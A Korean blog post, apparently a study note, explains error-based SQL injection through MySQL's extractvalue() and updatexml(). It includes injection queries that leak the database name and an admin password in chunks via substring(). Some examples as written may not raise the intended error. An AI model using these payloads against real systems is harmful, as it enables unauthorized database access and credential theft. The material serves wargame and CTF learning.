Error Based SQL Injection

에러 베이스 SQLi는 쿼리에 고의로 에러를 일으키고, 그 에러 메세지에 악성 쿼리를 넣어 데이터베이스의 정보를 노출 시키는 공격 기법입니다.

쿼리 실패시 에러 메세지가 페이지에 출력될 때 사용 할 수 있으며 결과가 바로 보이기에 빠르고 직관적인 공격 방식입니다.

 

에러 베이스 공격에 사용되는 주요 함수

1. extractvalue()

  • XML에서 XPath 쿼리를 추출하는 함수입니다.
  • 이때 잘못된 XPath를 주면 에러를 반환합니다.
extractvalue(xml_fragment, xpath_expresstion)                    #문법
SELECT extractvalue(1, concat((SELECT database())));             #예시 구문, concat()는 여러 문자열을 이어붙여 하나의 문자열로 만드는 함수 입니다.
XPATH syntax error: '데이터베이스이름'                            #예시 결과

 

2. updatexml()

  • XML 문서의 특정 노드를 바꾸는 함수입니다.
  • extractvalue()처럼 잘못된 XPath를 넣으면 에러를 반환합니다.
updatexml(xml_fragment, xpath_expression, new_value)      #문법
SELECT updatexml(1, concat((SELECT database())), 1);      #예시 구문 
XPATH syntax error: '데이터베이스이름'                     #예시 결과

 

에러 메세지가 전부 출력되지 않는 경우

워게임이나 CTF의 flag를 출력할 때 길이 때문에 전부 출력되지 않는 상황이 종종 발생합니다.

DB의 버전이나 함수에 따라 출력되는 길이가 바뀌게됩니다.

때문에 이럴때 substring()을 이용하여 에러 메세지를 나누어 출력 할 수 있습니다.

extractvalue(1, concat(SUBSTRING((SELECT pwd FROM user WHERE uid='admin'),1,16)))   #에러 메세지의 1 ~ 16글자를 출력
extractvalue(1, concat(SUBSTRING((SELECT pwd FROM user WHERE uid='admin'),17,32)))  #에러 메세지의 17 ~ 32글자를 출력

'보안 > 이론 정리' 카테고리의 다른 글

Base64에 대한 여러가지  (0) 2025.07.17
curl의 사용법과 보안 활용 정리  (0) 2025.07.09
HTTP 요청의 구조와 헤더의 역할  (0) 2025.07.07
웹 해킹 - Command Injection  (0) 2025.04.30
웹 해킹 - SQL Injection  (0) 2025.04.29

+ Recent posts